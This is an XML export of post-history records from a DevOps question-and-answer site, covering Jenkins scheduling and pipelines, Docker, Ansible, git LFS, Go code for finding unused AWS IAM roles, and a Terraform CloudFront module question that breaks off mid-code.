  <row Id="38923" PostHistoryTypeId="2" PostId="12678" RevisionGUID="4f34c238-691d-49f7-98f0-b131bcffa946" CreationDate="2020-11-01T02:14:32.603" UserId="739" Text="In a CI/CD pipeline a build step is whatever you want it to be.  It is the equivalent of a function or procedure from a traditional programming language.  Examples of build steps from a CI/CD environment:&#xD;&#xA;&#xD;&#xA;* setup a clean build or test environment by spinning up instances, starting databases, loading data, etc.&#xD;&#xA;* get code from github/gitlab/etc.&#xD;&#xA;* compile a component of the application&#xD;&#xA;* send artifact from previous build step to a repo&#xD;&#xA;&#xD;&#xA;Notice that in the CI/CD world a build step is not necessarily building anything, but it might be preparing something to be built or doing something with an artifact of a build." ContentLicense="CC BY-SA 4.0" />
  <row Id="38924" PostHistoryTypeId="2" PostId="12679" RevisionGUID="f91303f9-d385-4e15-bf7a-82f9caec88b3" CreationDate="2020-11-01T03:56:29.457" UserId="16819" Text="Ansible has a pretty decent online documentation using the command `ansible-doc`; using `-t` and `-l`, one can even learn some new stuff that Ansible is capable of, with that command.&#xD;&#xA;&#xD;&#xA;However, I can't find documentation for [Playbook Keywords](https://docs.ansible.com/ansible/2.7/reference_appendices/playbooks_keywords.html).&#xD;&#xA;&#xD;&#xA;Today, if I want documentation on one such keyword, I have to go to the link above and search for it.  Not too bad, but if you want to tell on which level (play, role, task, block) it is accepted, you have to find it and scroll back up to check which section it is in, and repeat the process to see all sections.&#xD;&#xA;&#xD;&#xA;`ansible-config` and `ansible-doc` have a nice YAML and YAML-like way of structuring this kind of thing.&#xD;&#xA;&#xD;&#xA;Is such documentation available anywhere on an Ansible installation, and I'm just not looking right?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38925" PostHistoryTypeId="1" PostId="12679" RevisionGUID="f91303f9-d385-4e15-bf7a-82f9caec88b3" CreationDate="2020-11-01T03:56:29.457" UserId="16819" Text="Online help for playbook keywords" ContentLicense="CC BY-SA 4.0" />
  <row Id="38926" PostHistoryTypeId="3" PostId="12679" RevisionGUID="f91303f9-d385-4e15-bf7a-82f9caec88b3" CreationDate="2020-11-01T03:56:29.457" UserId="16819" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38927" PostHistoryTypeId="2" PostId="12680" RevisionGUID="c57a4ea0-f4bd-42d2-bcb8-647a67fd5045" CreationDate="2020-11-01T11:07:32.153" UserId="13379" Text="In short, it's not practically possible. This [S/O answer](https://stackoverflow.com/a/12472740/598141) is quite detailed.&#xD;&#xA;&#xD;&#xA;&gt; Jenkins used a [cron&#xD;&#xA;&gt; expression](https://en.m.wikipedia.org/wiki/Cron#CRON_expression), and&#xD;&#xA;&gt; the different fields are:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     MINUTES Minutes in one hour (0-59)&#xD;&#xA;&gt;     HOURS Hours in one day (0-23)&#xD;&#xA;&gt;     DAYMONTH Day in a month (1-31)&#xD;&#xA;&gt;     MONTH Month in a year (1-12)&#xD;&#xA;&gt;     DAYWEEK Day of the week (0-7) where 0 and 7 are sunday&#xD;&#xA;&#xD;&#xA;cron syntax simply does not support every `n days`. &#xD;&#xA;&#xD;&#xA;An impractical option wuld be to have a daily job with a [Conditional BuildStep](https://plugins.jenkins.io/conditional-buildstep/) to calculate if this day is n × 30 days from a given fixed day and abort if not..&#xD;&#xA;&#xD;&#xA;But every 30 days doesn't really align w/calendar anyways, so is that really the intent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38931" PostHistoryTypeId="2" PostId="12682" RevisionGUID="ee7ef0b5-0641-470a-a6ef-0ade60d37487" CreationDate="2020-11-01T16:09:07.090" UserId="3529" Text="Because of endianess and other things I've settled on these two aliases I use all the time.  The important thing is `-t x1`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;alias od1='od -Ax -t x1'&#xD;&#xA;alias od2='od -Ax -t x1 -c'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38934" PostHistoryTypeId="5" PostId="10834" RevisionGUID="033be43a-9e4c-45a6-8792-97e807c81322" CreationDate="2020-11-01T20:40:07.277" UserId="17688" Comment="fixed link" Text="The answer given by @Eduardo Baitello is the correct answer for the vast majority of Kube installs. However I learned that if you've installed the MicroK8S snap install on Ubuntu the instructions are a little bit different. Per [this issue][1], you'll need to update the `/var/snap/microk8s/current/certs/csr.conf.template` file, then run `microk8s.stop` and `microk8s.start` in succession.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ubuntu/microk8s/issues/421" ContentLicense="CC BY-SA 4.0" />
  <row Id="38935" PostHistoryTypeId="2" PostId="12683" RevisionGUID="f300b41e-3514-4f22-ae9c-a6c3a723b9f8" CreationDate="2020-11-01T22:48:59.073" UserId="6162" Text="I don't think OS X builds can be done with Tekton yet. For builds that need OS X, I would currently consider to use [GitHub Actions][1] with support for [macOS actions][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/features/actions&#xD;&#xA;  [2]: https://docs.github.com/en/free-pro-team@latest/actions/reference/specifications-for-github-hosted-runners#supported-software" ContentLicense="CC BY-SA 4.0" />
  <row Id="38939" PostHistoryTypeId="2" PostId="12685" RevisionGUID="6047c918-4842-4087-adb3-2678b077450b" CreationDate="2020-11-02T08:51:42.553" UserId="6733" Text="I in the process of dockerizing an angular 9 application. My plan is to build the Docker from &quot;scratch&quot; then add the Ubuntu Bionic followed by Nginx followed by Angular and finally the theme assets and application UI code. &#xD;&#xA;&#xD;&#xA;I have docker on a VPS (I know its strange but then didn't have a baremetal on the cloud to install it) while the docker CLI is on my laptop. I have set the DOCKER_HOST varable as follows&#xD;&#xA;&#xD;&#xA;    export DOCKER_HOST=ssh://sridhar@999.99.999.999:9999&#xD;&#xA;&#xD;&#xA;This allows me to connect to the Docker engine on the VPS using my laptop (running Ubuntu). I am able to list the images, deploy containers et all.&#xD;&#xA;&#xD;&#xA;I have the following docker file&#xD;&#xA;&#xD;&#xA;    # Specifying the base image. We would like to create from scratch and then add the layers&#xD;&#xA;    FROM scratch&#xD;&#xA;&#xD;&#xA;    # We will now add the layers as follows Ubuntu 18.04, Nginx, &#xD;&#xA;    ADD docker pull ubuntu:focal-20201008 /&#xD;&#xA;&#xD;&#xA;When I try to build the image I get the following error&#xD;&#xA;&#xD;&#xA;    $ docker build --tag abui .&#xD;&#xA;    Sending build context to Docker daemon  104.2MB&#xD;&#xA;    Step 1/2 : FROM scratch&#xD;&#xA;     ---&gt; &#xD;&#xA;    Step 2/2 : ADD docker pull ubuntu:focal-20201008 /&#xD;&#xA;    ADD failed: stat /var/lib/docker/tmp/docker-builder302666646/docker: no such file or directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am unable to understand why the Ubuntu Image cannot be added. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38940" PostHistoryTypeId="1" PostId="12685" RevisionGUID="6047c918-4842-4087-adb3-2678b077450b" CreationDate="2020-11-02T08:51:42.553" UserId="6733" Text="Docker failing while adding Ubuntu Image" ContentLicense="CC BY-SA 4.0" />
  <row Id="38941" PostHistoryTypeId="3" PostId="12685" RevisionGUID="6047c918-4842-4087-adb3-2678b077450b" CreationDate="2020-11-02T08:51:42.553" UserId="6733" Text="&lt;docker&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38942" PostHistoryTypeId="5" PostId="12677" RevisionGUID="57fb006a-ff42-406e-8a6b-63178f8ebc2f" CreationDate="2020-11-02T11:41:32.987" UserId="9938" Comment="+ history of Jenkins &quot;predictions&quot; for schedule" Text="Jenkins version is 2.235.5 (I should update it to next LTS version 2.249).&#xD;&#xA;&#xD;&#xA;I configured Jenkins to run a job periodically every 30 days: Build Triggers → Build periodically → Schedule:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;H 3 */30 * *&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And now I see:&#xD;&#xA;&#xD;&#xA;&gt; Would last have run at Saturday, October 31, 2020 3:20:39 AM EDT; would next run at Sunday, November 1, 2020 3:20:39 AM EST.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Jenkins Build Triggers → Build periodically → Schedule][1]][1]&#xD;&#xA;&#xD;&#xA;So it will be started again after 1 day, not 30 days…&#xD;&#xA;&#xD;&#xA;How to run a job periodically every 30 days?&#xD;&#xA;&#xD;&#xA;Update: history of Jenkins &quot;predictions&quot; for schedule above (job was created October 28):&#xD;&#xA;&#xD;&#xA;&gt; Would last have run at Thursday, October 1, 2020 3:20:06 AM EDT; would next run at Saturday, October 31, 2020 3:20:06 AM EDT.&#xD;&#xA;&#xD;&#xA;&gt; Would last have run at Saturday, October 31, 2020 3:20:39 AM EDT; would next run at Sunday, November 1, 2020 3:20:39 AM EST.&#xD;&#xA;&#xD;&#xA;&gt; Would last have run at Sunday, November 1, 2020 3:20:43 AM EST; would next run at Tuesday, December 1, 2020 3:20:43 AM EST.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fzC5U.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38952" PostHistoryTypeId="2" PostId="12688" RevisionGUID="8b20928e-ad61-448e-92bf-54f319b4bee9" CreationDate="2020-11-03T00:55:44.570" UserId="23864" Text="I'm trying to setup my company's first CI/CD pipeline, to build &amp; deploy docker containers in gke, it has been a a great learning curve so far, however I'm stuck with error in Jenkinsfile &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: 1: /var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: Git: not found&#xD;&#xA;```&#xD;&#xA;please note that entire pipeline job is successful with this error being reported at the end to make it look like job failed. following is my relevant jenkinsfile.  &#xD;&#xA;```&#xD;&#xA;stage(&quot;staging deployment&quot;)&#xD;&#xA;{&#xD;&#xA;  sh 'mkdir -p ailabs_ice_setup'&#xD;&#xA;  dir(&quot;ailabs_ice_setup&quot;){&#xD;&#xA;    sh 'git add .'&#xD;&#xA;    sh &quot;git commit -m '${COMMIT_MSG}'&quot;&#xD;&#xA;    sh &quot;git push origin ${AI_LABS_REPO_BRANCH}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Jenkins version 2.176.3&#xD;&#xA;&#xD;&#xA;any help is greatly appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="38953" PostHistoryTypeId="1" PostId="12688" RevisionGUID="8b20928e-ad61-448e-92bf-54f319b4bee9" CreationDate="2020-11-03T00:55:44.570" UserId="23864" Text="getting error in Jenkinsfile - command not found" ContentLicense="CC BY-SA 4.0" />
  <row Id="38954" PostHistoryTypeId="3" PostId="12688" RevisionGUID="8b20928e-ad61-448e-92bf-54f319b4bee9" CreationDate="2020-11-03T00:55:44.570" UserId="23864" Text="&lt;jenkins&gt;&lt;git&gt;&lt;continuous-deployment&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38955" PostHistoryTypeId="5" PostId="12688" RevisionGUID="f56b3b43-e190-4d1f-90d5-6869c3d913bb" CreationDate="2020-11-03T01:22:46.483" UserId="23864" Comment="added 27 characters in body" Text="I'm trying to setup my company's first CI/CD pipeline, to build &amp; deploy docker containers in gke, it has been a a great learning curve so far, however I'm stuck with error in Jenkinsfile &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: 1: /var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: Git: not found&#xD;&#xA;```&#xD;&#xA;please note that entire pipeline job is successful with this error being reported at the end to make it look like job failed. following is my relevant jenkinsfile.  &#xD;&#xA;```&#xD;&#xA;stage(&quot;staging deployment&quot;)&#xD;&#xA;{&#xD;&#xA;  steps{&#xD;&#xA;    sh 'mkdir -p ailabs_ice_setup'&#xD;&#xA;    dir(&quot;ailabs_ice_setup&quot;){&#xD;&#xA;      sh 'git add .'&#xD;&#xA;      sh &quot;git commit -m '${COMMIT_MSG}'&quot;&#xD;&#xA;      sh &quot;git push origin ${AI_LABS_REPO_BRANCH}&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Jenkins version 2.176.3&#xD;&#xA;&#xD;&#xA;any help is greatly appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="38956" PostHistoryTypeId="2" PostId="12689" RevisionGUID="a899de22-dc64-4921-93f0-f038323e211f" CreationDate="2020-11-03T02:29:07.870" UserId="11341" Text="Jenkins- scheduled tab change syntax like...&#xD;&#xA;&#xD;&#xA;. 30 * * * *&#xD;&#xA;&#xD;&#xA;Example for understanding.... similar to cron job" ContentLicense="CC BY-SA 4.0" />
  <row Id="38957" PostHistoryTypeId="5" PostId="12688" RevisionGUID="6d10cde3-0385-43db-9751-3205b98d7687" CreationDate="2020-11-03T03:09:41.990" UserId="23864" Comment="deleted 14 characters in body" Text="I'm trying to setup my company's first CI/CD pipeline, to build &amp; deploy docker containers in gke, it has been a a great learning curve so far, however I'm stuck with error in Jenkinsfile &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: 1: /var/lib/jenkins/workspace/PipelineJobName/dir_command@tmp/durable-f390eb74/script.sh: Git: not found&#xD;&#xA;```&#xD;&#xA;please note that entire pipeline job is successful with this error being reported at the end to make it look like job failed. following is my relevant jenkinsfile.  &#xD;&#xA;```&#xD;&#xA;stage(&quot;staging deployment&quot;)&#xD;&#xA;{&#xD;&#xA;  steps{&#xD;&#xA;    sh 'mkdir -p ice_setup'&#xD;&#xA;    dir(&quot;ice_setup&quot;){&#xD;&#xA;      sh 'git add .'&#xD;&#xA;      sh &quot;git commit -m '${COMMIT_MSG}'&quot;&#xD;&#xA;      sh &quot;git push origin ${AI_LABS_REPO_BRANCH}&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Jenkins version 2.176.3&#xD;&#xA;&#xD;&#xA;any help is greatly appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="38958" PostHistoryTypeId="50" PostId="12540" RevisionGUID="fdadd758-b24a-409d-b4ec-608d2ce10824" CreationDate="2020-11-03T12:05:30.567" UserId="-1" />
  <row Id="38959" PostHistoryTypeId="2" PostId="12690" RevisionGUID="1b07e762-5942-467d-adac-d3deafc17e71" CreationDate="2020-11-03T14:37:18.550" UserId="24573" Text="I am using lfs to track large files, all under a specific folder in my repo (say ```./files/lfs```). &#xD;&#xA;I have recently noticed the presence of a large folder under ```.git/lfs```, with a footprint similar to my lfs-tracked folder. After researching and finding [this thread](https://stackoverflow.com/questions/55084646/difference-between-git-lfs-env-endpoint-and-lfsstoragedir), I understood that this folder corresponds to the ```LfsStorageDir``` and is used by git as a sort of cache for lfs-tracked files. &#xD;&#xA;&#xD;&#xA;My issue is that this doubles the footprint of my lfs files for any local copy of the repository. Is there any way to work around that? What would be the correct way to always clean up that ```.git/lfs``` folder, if any?&#xD;&#xA;&#xD;&#xA;From ```git lfs env```  &#xD;&#xA;```LocalMediaDir=C:\Projects\mi-acquire-git\.git\lfs\objects```  &#xD;&#xA;```LfsStorageDir=C:\Projects\mi-acquire-git\.git\lfs```&#xD;&#xA;&#xD;&#xA;And in my .gitattributes file, I have:  &#xD;&#xA;```files/lfs/** filter=lfs diff=lfs merge=lfs -text```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38960" PostHistoryTypeId="1" PostId="12690" RevisionGUID="1b07e762-5942-467d-adac-d3deafc17e71" CreationDate="2020-11-03T14:37:18.550" UserId="24573" Text="How to cleanup LfsStorageDir?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38961" PostHistoryTypeId="3" PostId="12690" RevisionGUID="1b07e762-5942-467d-adac-d3deafc17e71" CreationDate="2020-11-03T14:37:18.550" UserId="24573" Text="&lt;git-lfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38962" PostHistoryTypeId="50" PostId="12524" RevisionGUID="45139bb2-848c-4787-8cb9-2583c93bd291" CreationDate="2020-11-03T15:03:55.400" UserId="-1" />
  <row Id="38963" PostHistoryTypeId="2" PostId="12691" RevisionGUID="f0e41c87-08db-4fe3-af30-914df118c765" CreationDate="2020-11-03T15:10:33.360" UserId="24571" Text="This is possible using AWS SDKs. &#xD;&#xA;&#xD;&#xA;I was cleaning my tabs after finishing this task and decided I would write an answer to help other people.&#xD;&#xA;&#xD;&#xA;Let's do this in Golang with the right imports.&#xD;&#xA;````&#xD;&#xA; import (&#xD;&#xA;     &quot;fmt&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go/aws&quot;&#xD;&#xA;     &quot;context&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/config&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/service/iam&quot;&#xD;&#xA;)&#xD;&#xA;```` &#xD;&#xA;First, you want to init a session and a client: &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;cfg, err := config.LoadDefaultConfig() &#xD;&#xA;svc := iam.NewFromConfig(cfg)&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Then you want to get a list of roles, to iterate through all role names. You can also use a specific role name because that's the only thing you will need to get the LastUsedDate:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;roles_iam, err := svc.ListRoles(context.Background(), &amp;iam.ListRolesInput{&#xD;&#xA;PathPrefix: aws.String(&quot;/&quot;)})&#xD;&#xA;if err != nil {                                                                                           fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    return  &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;/** For simplicity and less dereferencing: more execution speed **/&#xD;&#xA;roles_list := roles_iam.Roles    &#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Finally, iterate through a loop if you need to get LastUsedDate for all roles. Just set input with the right GetRoleInput arguments then call svc.GetRole to get a structure with your info. &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;/** Declare slice 'unused_roles' containing string unused role names **/&#xD;&#xA;var unused_roles []string &#xD;&#xA;&#xD;&#xA;for i := range roles_list {&#xD;&#xA;    role_name := *roles_list[i].RoleName&#xD;&#xA;    input := &amp;iam.GetRoleInput{&#xD;&#xA;        RoleName: aws.String(*roles_list[i].RoleName),&#xD;&#xA;    }&#xD;&#xA;    role_info, err := svc.GetRole(context.Background(), input)&#xD;&#xA;    if err != nil {&#xD;&#xA;        fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    }          &#xD;&#xA;                                                                                                                                                                  /** Check if role has never been used **/           &#xD;&#xA;    if (role_info.Role.RoleLastUsed.LastUsedDate) == nil {&#xD;&#xA;        fmt.Printf(&quot;Role %s has never been used\n&quot;, role_name)&#xD;&#xA;        unused_roles = append(unused_roles, role_name)&#xD;&#xA;        continue&#xD;&#xA;    }&#xD;&#xA;    last_used_date := *role_info.Role.RoleLastUsed.LastUsedDate&#xD;&#xA;}&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_Role.html&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_RoleLastUsed.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38964" PostHistoryTypeId="5" PostId="12691" RevisionGUID="9d1bc0ba-a0b4-443a-a11e-e2d656570cd4" CreationDate="2020-11-03T15:19:23.727" UserId="24571" Comment="deleted 245 characters in body" Text="This is possible using AWS SDKs. &#xD;&#xA;&#xD;&#xA;I was cleaning my tabs after finishing this task and decided I would write an answer to help other people.&#xD;&#xA;&#xD;&#xA;Let's do this in Golang with the right imports.&#xD;&#xA;````&#xD;&#xA; import (&#xD;&#xA;     &quot;fmt&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go/aws&quot;&#xD;&#xA;     &quot;context&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/config&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/service/iam&quot;&#xD;&#xA;)&#xD;&#xA;```` &#xD;&#xA;First, you want to init a session and a client: &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;cfg, err := config.LoadDefaultConfig() &#xD;&#xA;svc := iam.NewFromConfig(cfg)&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Then you want to get a list of roles, to iterate through all role names. You can also use a specific role name because that's the only thing you will need to get the LastUsedDate:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;roles_iam, err := svc.ListRoles(context.Background(), &amp;iam.ListRolesInput{&#xD;&#xA;PathPrefix: aws.String(&quot;/&quot;)})&#xD;&#xA;if err != nil {&#xD;&#xA;    fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    return  &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;/** For simplicity and less dereferencing: more execution speed **/&#xD;&#xA;roles_list := roles_iam.Roles    &#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Finally, iterate through a loop if you need to get LastUsedDate for all roles. Just set input with the right GetRoleInput arguments then call svc.GetRole to get a structure with your info. &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;/** Declare slice 'unused_roles' containing string unused role names **/&#xD;&#xA;var unused_roles []string &#xD;&#xA;&#xD;&#xA;for i := range roles_list {&#xD;&#xA;    role_name := *roles_list[i].RoleName&#xD;&#xA;    input := &amp;iam.GetRoleInput{&#xD;&#xA;        RoleName: aws.String(*roles_list[i].RoleName),&#xD;&#xA;    }&#xD;&#xA;    role_info, err := svc.GetRole(context.Background(), input)&#xD;&#xA;    if err != nil {&#xD;&#xA;        fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    }    &#xD;&#xA;      &#xD;&#xA;/** Check if role has never been used **/           &#xD;&#xA;    if (role_info.Role.RoleLastUsed.LastUsedDate) == nil {&#xD;&#xA;        fmt.Printf(&quot;Role %s has never been used\n&quot;, role_name)&#xD;&#xA;        unused_roles = append(unused_roles, role_name)&#xD;&#xA;        continue&#xD;&#xA;    }&#xD;&#xA;    last_used_date := *role_info.Role.RoleLastUsed.LastUsedDate&#xD;&#xA;}&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_Role.html&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_RoleLastUsed.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38965" PostHistoryTypeId="5" PostId="12691" RevisionGUID="80626a02-3614-42d5-8feb-532b33f72c6d" CreationDate="2020-11-03T15:24:31.900" UserId="24571" Comment="deleted 245 characters in body" Text="**This is possible using AWS SDKs.** &#xD;&#xA;&#xD;&#xA;I was cleaning my tabs after finishing this task and decided I would write an answer to help other people.&#xD;&#xA;&#xD;&#xA;**Versions:**&#xD;&#xA;&#xD;&#xA;- aws-cli/2.0.61 &#xD;&#xA;&#xD;&#xA;- go1.15.3 linux/amd64&#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;Let's do this in Golang with the right imports.&#xD;&#xA;````&#xD;&#xA; import (&#xD;&#xA;     &quot;fmt&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go/aws&quot;&#xD;&#xA;     &quot;context&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/config&quot;&#xD;&#xA;     &quot;github.com/aws/aws-sdk-go-v2/service/iam&quot;&#xD;&#xA;)&#xD;&#xA;```` &#xD;&#xA;First, you want to init a session and a client: &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;cfg, err := config.LoadDefaultConfig() &#xD;&#xA;svc := iam.NewFromConfig(cfg)&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Then you want to get a list of roles, to iterate through all role names. You can also use a specific role name because that's the only thing you will need to get the LastUsedDate:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;roles_iam, err := svc.ListRoles(context.Background(), &amp;iam.ListRolesInput{&#xD;&#xA;PathPrefix: aws.String(&quot;/&quot;)})&#xD;&#xA;if err != nil {&#xD;&#xA;    fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    return  &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;/** For simplicity and less dereferencing: more execution speed **/&#xD;&#xA;roles_list := roles_iam.Roles    &#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Finally, iterate through a loop if you need to get LastUsedDate for all roles. Just set input with the right GetRoleInput arguments then call svc.GetRole to get a structure with your info. &#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;/** Declare slice 'unused_roles' containing string unused role names **/&#xD;&#xA;var unused_roles []string &#xD;&#xA;&#xD;&#xA;for i := range roles_list {&#xD;&#xA;    role_name := *roles_list[i].RoleName&#xD;&#xA;    input := &amp;iam.GetRoleInput{&#xD;&#xA;        RoleName: aws.String(*roles_list[i].RoleName),&#xD;&#xA;    }&#xD;&#xA;    role_info, err := svc.GetRole(context.Background(), input)&#xD;&#xA;    if err != nil {&#xD;&#xA;        fmt.Println(&quot;Error&quot;, err)&#xD;&#xA;    }    &#xD;&#xA;      &#xD;&#xA;/** Check if role has never been used **/           &#xD;&#xA;    if (role_info.Role.RoleLastUsed.LastUsedDate) == nil {&#xD;&#xA;        fmt.Printf(&quot;Role %s has never been used\n&quot;, role_name)&#xD;&#xA;        unused_roles = append(unused_roles, role_name)&#xD;&#xA;        continue&#xD;&#xA;    }&#xD;&#xA;    last_used_date := *role_info.Role.RoleLastUsed.LastUsedDate&#xD;&#xA;}&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_Role.html&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_RoleLastUsed.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38966" PostHistoryTypeId="2" PostId="12692" RevisionGUID="fd540327-4e49-4a60-b05a-b192861f7474" CreationDate="2020-11-03T17:50:46.597" UserId="23864" Text="I am trying to trigger a jenkins pipeline job only when a pull request has been approved &amp; merged to a specific github branch in our CI/CD implementation.&#xD;&#xA;&#xD;&#xA;currently whenever i merge a PR to *release*, jenkins job that is created to get triggered when PR is merged to *master* is also getting triggered, while I only want *release* jenkins job to be triggered.&#xD;&#xA;&#xD;&#xA;strangely *echo env.GIT_BRANCH* cmd shows branch name as MASTER in *master* job parallelly *release* job shows branch as RELEASE when i only merged PR to release.&#xD;&#xA; &#xD;&#xA;Things tried:&#xD;&#xA;1. *Branches to build* feature in Jenkins&#xD;&#xA;2. *when* condition in Jenkinsfile (its acting weird, both staging and production jobs are getting triggered when one branch is targetted)&#xD;&#xA;&#xD;&#xA;Environment:&#xD;&#xA;*Jenkins ver. 2.176.3, Docker,Generic webhook trigger* for Jenkins&#xD;&#xA;&#xD;&#xA;I'm convinced that when condition will work, but for me it isn't, following is my partial *when* condition in Jenkinsfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage(&quot;Step 1: Build Docker&quot;){}&#xD;&#xA;stage(&quot;Step 2: Push to DockerHub&quot;){}&#xD;&#xA;stage(&quot;Step 3: Production Deployment&quot;){&#xD;&#xA;            when {&#xD;&#xA;                expression { return params.current_status == &quot;closed&quot; &amp;&amp; params.merged == true &amp;&amp; env.GIT_BRANCH == &quot;origin/master&quot; }&#xD;&#xA;            }&#xD;&#xA;            steps{&#xD;&#xA;                -----&#xD;&#xA;                sh 'kubectl apply -f **.yaml'&#xD;&#xA;            }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;In my jenkinsfile I'm writing logic to deploy my docker images to kubernetes cluster, so all that i  am looking for is to accurately trigger the job based on the branch.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to get it to work, what am i missing here?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38967" PostHistoryTypeId="1" PostId="12692" RevisionGUID="fd540327-4e49-4a60-b05a-b192861f7474" CreationDate="2020-11-03T17:50:46.597" UserId="23864" Text="branch specific jenkins pipeline trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="38968" PostHistoryTypeId="3" PostId="12692" RevisionGUID="fd540327-4e49-4a60-b05a-b192861f7474" CreationDate="2020-11-03T17:50:46.597" UserId="23864" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38969" PostHistoryTypeId="5" PostId="12673" RevisionGUID="271c3ae5-a1e7-4cdc-81b1-fe60563b2cc0" CreationDate="2020-11-03T19:59:23.073" UserId="18637" Comment="add new changes that I was tested" Text="I'm creating a AWS Cloudfront module and some troubles are happening because have some Cloudfront parameters that are &quot;dynamics/optional&quot; too.&#xD;&#xA;&#xD;&#xA;When I'm trying run the `$ terraform validate` show me the error:&#xD;&#xA;&#xD;&#xA;    on ../../../../../terraform-aws-modules/cloudfront_distribution/main.tf line 24, in resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot;:&#xD;&#xA;      24:   dynamic &quot;custom_origin_config&quot; {&#xD;&#xA;    &#xD;&#xA;    Blocks of type &quot;custom_origin_config&quot; are not expected here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Following my **module** `main.tf`:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot; {&#xD;&#xA;    